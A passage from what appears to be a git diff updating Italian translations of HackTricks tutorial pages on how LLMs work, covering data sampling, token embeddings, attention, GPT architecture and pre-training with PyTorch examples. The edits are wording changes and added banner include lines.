di modelli di linguaggio di grandi dimensioni (LLM) come GPT. Comporta l'organizzazione dei dati testuali in sequenze di input e target che il modello utilizza per imparare a prevedere la parola successiva (o token) basandosi sulle parole precedenti. Un corretto campionamento dei dati assicura che il modello catturi efficacemente i modelli linguistici e le dipendenze. @@ -9,7 +11,7 @@ Il **Campionamento Dati** è un processo cruciale nella preparazione dei dati pe ### **Perché il Campionamento Dati è Importante** -I LLM come GPT sono addestrati a generare o prevedere testo comprendendo il contesto fornito dalle parole precedenti. Per raggiungere questo obiettivo, i dati di addestramento devono essere strutturati in modo che il modello possa apprendere la relazione tra sequenze di parole e le loro parole successive. Questo approccio strutturato consente al modello di generalizzare e generare testo coerente e contestualmente rilevante. +Gli LLM come GPT sono addestrati a generare o prevedere testo comprendendo il contesto fornito dalle parole precedenti. Per raggiungere questo obiettivo, i dati di addestramento devono essere strutturati in modo che il modello possa apprendere la relazione tra sequenze di parole e le loro parole successive. Questo approccio strutturato consente al modello di generalizzare e generare testo coerente e contestualmente rilevante. ### **Concetti Chiave nel Campionamento Dati** @@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807], ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 28921fdb4..6ecb5ff1e 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,12 +1,14 @@ # 3. Token Embeddings +{{#include /banners/hacktricks-training.md}} + ## Token Embeddings -Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e da cui può apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. +Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. > [!TIP] > L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario avrà un punto in uno spazio di X dimensioni.\ -> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). +> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). > > Inoltre, durante il token embedding **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa. @@ -72,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) ### **Come Funzionano gli Embedding dei Token Durante l'Addestramento** -Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di reti neurali. +Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di rete neurale. **Scenario Esemplare:** @@ -118,7 +120,7 @@ cssCopy codeBatch ``` **Spiegazione:** -- Ogni token nella sequenza è rappresentato da un vettore a 256 dimensioni. +- Ogni token nella sequenza è rappresentato da un vettore di 256 dimensioni. - Il modello elabora questi embedding per apprendere i modelli linguistici e generare previsioni. ## **Embedding Posizionali: Aggiungere Contesto agli Embedding dei Token** @@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 7e7dbe87d..fed5cfedf 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,5 +1,7 @@ # 4. Meccanismi di Attenzione +{{#include /banners/hacktricks-training.md}} + ## Meccanismi di Attenzione e Auto-Attenzione nelle Reti Neurali I meccanismi di attenzione consentono alle reti neurali di **concentrarsi su parti specifiche dell'input durante la generazione di ciascuna parte dell'output**. Assegnano pesi diversi a diversi input, aiutando il modello a decidere quali input sono più rilevanti per il compito in questione. Questo è cruciale in compiti come la traduzione automatica, dove comprendere il contesto dell'intera frase è necessario per una traduzione accurata. @@ -26,7 +28,7 @@ L'auto-attenzione, o intra-attention, è un meccanismo in cui l'attenzione viene - **Embeddings**: Rappresentazioni vettoriali dei token, che catturano informazioni semantiche. - **Pesi di Attenzione**: Valori che determinano l'importanza di ciascun token rispetto agli altri. -### Calcolo dei Pesi di Attenzione: Un Esempio Passo dopo Passo +### Calcolo dei Pesi di Attenzione: Un Esempio Passo-Passo Consideriamo la frase **"Hello shiny sun!"** e rappresentiamo ciascuna parola con un embedding a 3 dimensioni: @@ -68,7 +70,7 @@ Applica la **funzione softmax** ai punteggi di attenzione per convertirli in pes Calcolando gli esponenziali: -
+
Calcolando la somma: @@ -81,7 +83,7 @@ Calcolando i pesi di attenzione: #### Passo 3: Calcolare il Vettore di Contesto > [!TIP] -> Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlato e poi sommare tutte le dimensioni per ottenere solo 1 vettore (il vettore di contesto) +> Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlate e poi sommare tutte le dimensioni per ottenere solo 1 vettore (il vettore di contesto) Il **vettore di contesto** è calcolato come la somma pesata degli embeddings di tutte le parole, utilizzando i pesi di attenzione. @@ -119,7 +121,7 @@ In pratica, i meccanismi di auto-attenzione utilizzano **pesi addestrabili** per
-La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici casuali addestrabili. +La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici addestrabili casuali. #### Passo 1: Calcolare Query, Chiavi e Valori @@ -153,15 +155,15 @@ queries = torch.matmul(inputs, W_query) keys = torch.matmul(inputs, W_key) values = torch.matmul(inputs, W_value) ``` -#### Passo 2: Calcola l'Attenzione a Prodotto Scalato +#### Step 2: Calcola l'attenzione scalata a prodotto scalare -**Calcola i Punteggi di Attenzione** +**Calcola i punteggi di attenzione** Simile all'esempio precedente, ma questa volta, invece di utilizzare i valori delle dimensioni dei token, utilizziamo la matrice chiave del token (già calcolata utilizzando le dimensioni):. Quindi, per ogni query `qi`​ e chiave `kj​`:
-**Scala i Punteggi** +**Scala i punteggi** Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radice quadrata della dimensione della chiave `dk`​: @@ -170,17 +172,17 @@ Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radic > [!TIP] > Il punteggio è diviso per la radice quadrata delle dimensioni perché i prodotti scalari potrebbero diventare molto grandi e questo aiuta a regolarli. -**Applica Softmax per Ottenere i Pesi di Attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1. +**Applica Softmax per ottenere i pesi di attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1.
-#### Passo 3: Calcola i Vettori di Contesto +#### Step 3: Calcola i vettori di contesto Come nell'esempio iniziale, somma semplicemente tutte le matrici di valori moltiplicando ciascuna per il suo peso di attenzione:
-### Esempio di Codice +### Esempio di codice Prendendo un esempio da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) puoi controllare questa classe che implementa la funzionalità di auto-attenzione di cui abbiamo parlato: ```python @@ -226,7 +228,7 @@ print(sa_v2(inputs)) ## Causal Attention: Nascondere le Parole Future -Per i LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **Causal attention**, nota anche come **masked attention**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri. +Per gli LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **Causal attention**, nota anche come **masked attention**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri. ### Applicare una Maschera di Causal Attention @@ -248,7 +250,7 @@ masked_scores = attention_scores + mask attention_weights = torch.softmax(masked_scores, dim=-1) ``` -### Mascherare Ulteriori Pesi di Attenzione con Dropout +### Mascherare Pesi di Attenzione Aggiuntivi con Dropout Per **prevenire l'overfitting**, possiamo applicare **dropout** ai pesi di attenzione dopo l'operazione softmax. Il dropout **azzera casualmente alcuni dei pesi di attenzione** durante l'addestramento. ```python @@ -404,13 +406,16 @@ print(context_vecs) print("context_vecs.shape:", context_vecs.shape) ``` -Per un'altra implementazione compatta ed efficiente, puoi utilizzare la [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) classe in PyTorch. +Per un'implementazione compatta ed efficiente, puoi utilizzare la classe [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) in PyTorch. > [!TIP] > Risposta breve di ChatGPT su perché è meglio dividere le dimensioni dei token tra le teste invece di far controllare a ciascuna testa tutte le dimensioni di tutti i token: > -> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa ad apprendere rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni. +> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa a imparare rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni. ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index a5ab5364c..a157fad35 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,5 +1,7 @@ # 5. Architettura LLM +{{#include /banners/hacktricks-training.md}} + ## Architettura LLM > [!TIP] @@ -17,8 +19,8 @@ Una rappresentazione ad alto livello può essere osservata in: 2. **Layer di Embedding dei Token e Layer di Embedding Posizionale**: Il testo tokenizzato passa attraverso un **layer di embedding dei token** e un **layer di embedding posizionale**, che cattura la posizione dei token in una sequenza, fondamentale per comprendere l'ordine delle parole. 3. **Blocchi Transformer**: Il modello contiene **12 blocchi transformer**, ognuno con più livelli. Questi blocchi ripetono la seguente sequenza: - **Attenzione Multi-Testa Mascherata**: Consente al modello di concentrarsi su diverse parti del testo di input contemporaneamente. -- **Normalizzazione del Livello**: Un passaggio di normalizzazione per stabilizzare e migliorare l'addestramento. -- **Layer Feed Forward**: Responsabile dell'elaborazione delle informazioni dal layer di attenzione e della formulazione di previsioni sul token successivo. +- **Normalizzazione del Livello**: Un passo di normalizzazione per stabilizzare e migliorare l'addestramento. +- **Layer Feed Forward**: Responsabile dell'elaborazione delle informazioni dal layer di attenzione e della previsione del token successivo. - **Layer di Dropout**: Questi layer prevengono l'overfitting eliminando casualmente unità durante l'addestramento. 4. **Layer di Output Finale**: Il modello produce un **tensore di dimensione 4x50,257**, dove **50,257** rappresenta la dimensione del vocabolario. Ogni riga in questo tensore corrisponde a un vettore che il modello utilizza per prevedere la prossima parola nella sequenza. 5. **Obiettivo**: L'obiettivo è prendere questi embedding e convertirli di nuovo in testo. In particolare, l'ultima riga dell'output viene utilizzata per generare la prossima parola, rappresentata come "forward" in questo diagramma. @@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * #### **Scopo e Funzionalità** - **GELU (Gaussian Error Linear Unit):** Una funzione di attivazione che introduce non linearità nel modello. -- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa gli input agli output in modo fluido, consentendo valori piccoli e diversi da zero per gli input negativi. +- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa dolcemente gli input sugli output, consentendo valori piccoli e non nulli per gli input negativi. - **Definizione Matematica:**
@@ -244,13 +246,13 @@ return x # Output shape: (batch_size, seq_len, emb_dim) #### **Scopo e Funzionalità** - **Rete FeedForward a livello di posizione:** Applica una rete completamente connessa a due strati a ciascuna posizione separatamente e in modo identico. -- **Dettagli del Livello:** -- **Primo Livello Lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`. +- **Dettagli del livello:** +- **Primo livello lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`. - **Attivazione GELU:** Applica non linearità. -- **Secondo Livello Lineare:** Riduce la dimensionalità di nuovo a `emb_dim`. +- **Secondo livello lineare:** Riduce la dimensionalità di nuovo a `emb_dim`. > [!TIP] -> Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU è utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare è utilizzato per tornare alla dimensione originale. +> Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU viene utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare viene utilizzato per tornare alla dimensione originale. ### **Meccanismo di Attenzione Multi-Testa** @@ -258,22 +260,22 @@ Questo è già stato spiegato in una sezione precedente. #### **Scopo e Funzionalità** -- **Auto-Attenzione Multi-Testa:** Permette al modello di concentrarsi su diverse posizioni all'interno della sequenza di input quando codifica un token. +- **Auto-Attenzione Multi-Testa:** Consente al modello di concentrarsi su diverse posizioni all'interno della sequenza di input durante la codifica di un token. - **Componenti Chiave:** - **Query, Chiavi, Valori:** Proiezioni lineari dell'input, utilizzate per calcolare i punteggi di attenzione. - **Teste:** Molteplici meccanismi di attenzione che funzionano in parallelo (`num_heads`), ciascuno con una dimensione ridotta (`head_dim`). - **Punteggi di Attenzione:** Calcolati come il prodotto scalare di query e chiavi, scalati e mascherati. -- **Mascheramento:** Una maschera causale è applicata per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT). +- **Mascheramento:** Viene applicata una maschera causale per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT). - **Pesi di Attenzione:** Softmax dei punteggi di attenzione mascherati e scalati. - **Vettore di Contesto:** Somma pesata dei valori, secondo i pesi di attenzione. -- **Proiezione di Uscita:** Livello lineare per combinare le uscite di tutte le teste. +- **Proiezione di Output:** Strato lineare per combinare le uscite di tutte le teste. > [!TIP] > L'obiettivo di questa rete è trovare le relazioni tra i token nello stesso contesto. Inoltre, i token sono divisi in diverse teste per prevenire l'overfitting anche se le relazioni finali trovate per testa sono combinate alla fine di questa rete. > -> Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche con un token e viene applicato anche un **dropout** per **prevenire l'overfitting**. +> Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche a un token e viene applicato anche un **dropout** per **prevenire l'overfitting**. -### **Normalizzazione** del Livello +### **Normalizzazione** del livello ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class LayerNorm(nn.Module): @@ -294,10 +296,10 @@ return self.scale * norm_x + self.shift - **Layer Normalization:** Una tecnica utilizzata per normalizzare gli input attraverso le caratteristiche (dimensioni di embedding) per ciascun esempio individuale in un batch. - **Componenti:** - **`eps`:** Una piccola costante (`1e-5`) aggiunta alla varianza per prevenire la divisione per zero durante la normalizzazione. -- **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati a uno e zero, rispettivamente. +- **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati rispettivamente a uno e zero. - **Processo di Normalizzazione:** - **Calcola Media (`mean`):** Calcola la media dell'input `x` attraverso la dimensione di embedding (`dim=-1`), mantenendo la dimensione per il broadcasting (`keepdim=True`). -- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. +- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza sia calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. - **Normalizza (`norm_x`):** Sottrae la media da `x` e divide per la radice quadrata della varianza più `eps`. - **Scala e Sposta:** Applica i parametri apprendibili `scale` e `shift` all'output normalizzato. @@ -306,7 +308,7 @@ return self.scale * norm_x + self.shift ### **Blocco Transformer** -_Sono state aggiunte forme come commenti per comprendere meglio le forme delle matrici:_ +_Le forme sono state aggiunte come commenti per comprendere meglio le forme delle matrici:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 @@ -348,17 +350,17 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ``` #### **Scopo e Funzionalità** -- **Composizione dei Livelli:** Combina attenzione multi-testa, rete feedforward, normalizzazione dei livelli e connessioni residue. -- **Normalizzazione dei Livelli:** Applicata prima dei livelli di attenzione e feedforward per un addestramento stabile. +- **Composizione dei Livelli:** Combina multi-head attention, feedforward network, layer normalization e connessioni residue. +- **Layer Normalization:** Applicata prima dei livelli di attenzione e feedforward per un addestramento stabile. - **Connessioni Residue (Scorciatoie):** Aggiungono l'input di un livello alla sua uscita per migliorare il flusso del gradiente e abilitare l'addestramento di reti profonde. - **Dropout:** Applicato dopo i livelli di attenzione e feedforward per la regolarizzazione. #### **Funzionalità Passo-Passo** -1. **Primo Percorso Residuo (Auto-Attenzione):** +1. **Primo Percorso Residuo (Self-Attention):** - **Input (`shortcut`):** Salva l'input originale per la connessione residua. - **Layer Norm (`norm1`):** Normalizza l'input. -- **Multi-Head Attention (`att`):** Applica auto-attenzione. +- **Multi-Head Attention (`att`):** Applica self-attention. - **Dropout (`drop_shortcut`):** Applica dropout per la regolarizzazione. - **Aggiungi Residuo (`x + shortcut`):** Combina con l'input originale. 2. **Secondo Percorso Residuo (FeedForward):** @@ -519,7 +521,7 @@ total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 ``` -- **Parametri Totali di Attenzione Multi-Testa:** +- **Totale Parametri Attenzione Multi-Testa:** ```python mha_params = total_qkv_params + out_proj_params @@ -547,14 +549,14 @@ ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 ``` -- **Parametri Totali FeedForward:** +- **Totale Parametri FeedForward:** ```python ff_params = ff_first_layer_params + ff_second_layer_params ff_params = 2,362,368 + 2,360,064 = 4,722,432 ``` -**c. Normalizzazioni dei Livelli** +**c. Normalizzazioni di Strato** - **Componenti:** - Due istanze di `LayerNorm` per blocco. @@ -565,7 +567,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432 layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 ``` -**d. Parametri Totali per Blocco Transformer** +**d. Totale Parametri per Blocco Transformer** ```python pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 @@ -608,7 +610,7 @@ total_params = 163,009,536 ``` ## Genera Testo -Avere un modello che prevede il prossimo token come quello precedente, è sufficiente prendere i valori dell'ultimo token dall'output (poiché saranno quelli del token previsto), che saranno un **valore per voce nel vocabolario** e poi usare la funzione `softmax` per normalizzare le dimensioni in probabilità che sommano a 1 e poi ottenere l'indice della voce più grande, che sarà l'indice della parola all'interno del vocabolario. +Avendo un modello che prevede il prossimo token come quello precedente, è sufficiente prendere i valori dell'ultimo token dall'output (poiché saranno quelli del token previsto), che saranno un **valore per voce nel vocabolario** e poi utilizzare la funzione `softmax` per normalizzare le dimensioni in probabilità che sommano a 1 e poi ottenere l'indice della voce più grande, che sarà l'indice della parola all'interno del vocabolario. Codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): ```python @@ -664,3 +666,6 @@ print("Output length:", len(out[0])) ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 7fbb42ae3..9cc92ed1a 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,6 +1,8 @@ # 6. Pre-training & Loading models -## Text Generation +{{#include /banners/hacktricks-training.md}} + +## Generazione di Testo Per addestrare un modello, è necessario che il modello sia in grado di generare nuovi token. Poi confronteremo i token generati con quelli attesi per addestrare il modello a **imparare i token che deve generare**. @@ -9,11 +11,11 @@ Come negli esempi precedenti, abbiamo già previsto alcuni token, è possibile r > [!TIP] > L'obiettivo di questa sesta fase è molto semplice: **Addestrare il modello da zero**. Per questo verrà utilizzata l'architettura LLM precedente con alcuni cicli sui set di dati utilizzando le funzioni di perdita e l'ottimizzatore definiti per addestrare tutti i parametri del modello. -## Text Evaluation +## Valutazione del Testo Per eseguire un addestramento corretto è necessario misurare le previsioni ottenute per il token atteso. L'obiettivo dell'addestramento è massimizzare la probabilità del token corretto, il che implica aumentare la sua probabilità rispetto ad altri token. -Per massimizzare la probabilità del token corretto, i pesi del modello devono essere modificati affinché quella probabilità sia massimizzata. Gli aggiornamenti dei pesi avvengono tramite **backpropagation**. Questo richiede una **funzione di perdita da massimizzare**. In questo caso, la funzione sarà la **differenza tra la previsione effettuata e quella desiderata**. +Per massimizzare la probabilità del token corretto, i pesi del modello devono essere modificati affinché quella probabilità sia massimizzata. Gli aggiornamenti dei pesi vengono effettuati tramite **backpropagation**. Questo richiede una **funzione di perdita da massimizzare**. In questo caso, la funzione sarà la **differenza tra la previsione effettuata e quella desiderata**. Tuttavia, invece di lavorare con le previsioni grezze, si lavorerà con un logaritmo in base n. Quindi, se la previsione attuale del token atteso era 7.4541e-05, il logaritmo naturale (base *e*) di **7.4541e-05** è approssimativamente **-9.5042**.\ Poi, per ogni voce con una lunghezza di contesto di 5 token, ad esempio, il modello dovrà prevedere 5 token, con i primi 4 token che sono gli ultimi dell'input e il quinto quello previsto. Pertanto, per ogni voce avremo 5 previsioni in quel caso (anche se i primi 4 erano nell'input, il modello non lo sa) con 5 token attesi e quindi 5 probabilità da massimizzare. @@ -23,11 +25,11 @@ Pertanto, dopo aver eseguito il logaritmo naturale su ogni previsione, si calcol

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

Un altro modo per misurare quanto sia buono il modello è chiamato perplexity. **Perplexity** è una metrica utilizzata per valutare quanto bene un modello di probabilità prevede un campione. Nella modellazione del linguaggio, rappresenta l'**incertezza del modello** quando prevede il prossimo token in una sequenza.\ -Ad esempio, un valore di perplexity di 48725 significa che quando deve prevedere un token non è sicuro su quale tra 48.725 token nel vocabolario sia quello giusto. +Ad esempio, un valore di perplexity di 48725 significa che, quando deve prevedere un token, non è sicuro su quale tra 48.725 token nel vocabolario sia quello giusto. -## Pre-Train Example +## Esempio di Pre-Addestramento -Questo è il codice iniziale proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) alcune volte leggermente modificato +Questo è il codice iniziale proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) a volte leggermente modificato
@@ -545,7 +547,7 @@ In una sezione precedente è stata presentata una funzione che otteneva solo il La seguente funzione `generate_text` applicherà i concetti di `top-k`, `temperature` e `multinomial`. -- Il **`top-k`** significa che inizieremo a ridurre a `-inf` tutte le probabilità di tutti i token tranne i top k token. Quindi, se k=3, prima di prendere una decisione solo i 3 token più probabili avranno una probabilità diversa da `-inf`. +- Il **`top-k`** significa che inizieremo a ridurre a `-inf` tutte le probabilità di tutti i token tranne i k token migliori. Quindi, se k=3, prima di prendere una decisione solo i 3 token più probabili avranno una probabilità diversa da `-inf`. - La **`temperature`** significa che ogni probabilità sarà divisa per il valore della temperatura. Un valore di `0.1` migliorerà la probabilità più alta rispetto a quella più bassa, mentre una temperatura di `5`, ad esempio, la renderà più piatta. Questo aiuta a migliorare la variazione nelle risposte che vorremmo che l'LLM avesse. - Dopo aver applicato la temperatura, una funzione **`softmax`** viene applicata nuovamente per fare in modo che tutti i token rimanenti abbiano una probabilità totale di 1. - Infine, invece di scegliere il token con la probabilità più alta, la funzione **`multinomial`** viene applicata per **prevedere il prossimo token in base alle probabilità finali**. Quindi, se il token 1 aveva il 70% di probabilità, il token 2 il 20% e il token 3 il 10%, il 70% delle volte verrà selezionato il token 1, il 20% delle volte sarà il token 2 e il 10% delle volte sarà il token 3. @@ -599,8 +601,8 @@ return idx > _Nota che questo miglioramento non è incluso nel codice precedente._ > [!TIP] -> Un altro modo per migliorare il testo generato è utilizzare **Beam search** invece della ricerca greedy utilizzata in questo esempio.\ -> A differenza della ricerca greedy, che seleziona la parola successiva più probabile a ogni passo e costruisce una singola sequenza, **beam search tiene traccia delle k sequenze parziali con il punteggio più alto** (chiamate "beams") a ogni passo. Esplorando più possibilità simultaneamente, bilancia efficienza e qualità, aumentando le possibilità di **trovare una sequenza complessiva migliore** che potrebbe essere persa dall'approccio greedy a causa di scelte subottimali precoci. +> Un altro modo per migliorare il testo generato è utilizzare **Beam search** invece della ricerca golosa utilizzata in questo esempio.\ +> A differenza della ricerca golosa, che seleziona la parola successiva più probabile a ogni passo e costruisce una singola sequenza, **beam search tiene traccia delle k sequenze parziali con il punteggio più alto** (chiamate "beams") a ogni passo. Esplorando più possibilità simultaneamente, bilancia efficienza e qualità, aumentando le possibilità di **trovare una sequenza complessiva migliore** che potrebbe essere persa dall'approccio goloso a causa di scelte subottimali precoci. > > _Nota che questo miglioramento non è incluso nel codice precedente._ @@ -760,7 +762,7 @@ Poi la grande funzione `train_model_simple` è quella che effettivamente addestr - `optimizer.zero_grad()` viene chiamato per resettare i gradienti ad ogni round per non accumularli. - Il parametro **`lr`** è il **tasso di apprendimento** che determina la **dimensione dei passi** effettuati durante il processo di ottimizzazione quando si aggiornano i parametri del modello. Un tasso di apprendimento **più piccolo** significa che l'ottimizzatore **effettua aggiornamenti più piccoli** ai pesi, il che può portare a una convergenza più **precisa** ma potrebbe **rallentare** l'addestramento. Un tasso di apprendimento **più grande** può accelerare l'addestramento ma **rischia di superare** il minimo della funzione di perdita (**saltare oltre** il punto in cui la funzione di perdita è minimizzata). - **Weight Decay** modifica il passo di **Calcolo della Perdita** aggiungendo un termine extra che penalizza i pesi grandi. Questo incoraggia l'ottimizzatore a trovare soluzioni con pesi più piccoli, bilanciando tra l'adattamento ai dati e il mantenimento del modello semplice, prevenendo l'overfitting nei modelli di machine learning scoraggiando il modello dall'assegnare troppa importanza a qualsiasi singola caratteristica. -- Gli ottimizzatori tradizionali come SGD con regolarizzazione L2 accoppiano il weight decay con il gradiente della funzione di perdita. Tuttavia, **AdamW** (una variante dell'ottimizzatore Adam) decouples il weight decay dall'aggiornamento 